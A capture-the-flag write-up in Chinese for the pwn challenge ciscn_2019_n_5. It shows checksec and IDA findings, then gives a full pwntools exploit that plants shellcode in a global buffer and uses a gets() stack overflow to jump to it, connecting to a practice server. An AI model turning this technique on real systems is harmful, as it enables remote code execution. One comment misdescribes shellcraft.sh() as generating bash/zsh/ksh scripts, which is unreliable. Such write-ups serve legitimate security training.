ciscn_2019_n_5 1
1.checksec
什么都没有开,意味着可以通过shellcode进行攻击
2.ida
read()读取的name为全局变量,点进去查看,记住其地址为0x601080
该变量不可能存在溢出,故可以用于存放shellcode
而下面的gets(text);可以栈溢出
故思路为先利用read()将shellcode读取到name中,然后利用下面的gets(text)进行溢出,返回到name的地址处执行shellcode
exp
from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#设置环境变量,这一步必须有不能删,不然打不通,因为下面有个pwntools库中的函数shellcraft.sh(),它可以根据环境生成一段shellcode,但要提前设置好环境
p=remote('node4.buuoj.cn',29154)
payload1=asm(shellcraft.sh())
#asm()可以将汇编代码转化为二进制代码,shellcraft.sh()是 pwntools 库中的一个函数,用于生成一个 shell 脚本的汇编代码。该函数可以生成各种类型的 shell 脚本,例如 bash、zsh、ksh 等。生成的汇编代码可以用于执行 shell 脚本,也可以用于编写 exploit。
p.sendlineafter('name',payload1)
payload2=b'a'*40+p64(0x601080)
p.sendlineafter('say to me?',payload2)
p.interactive()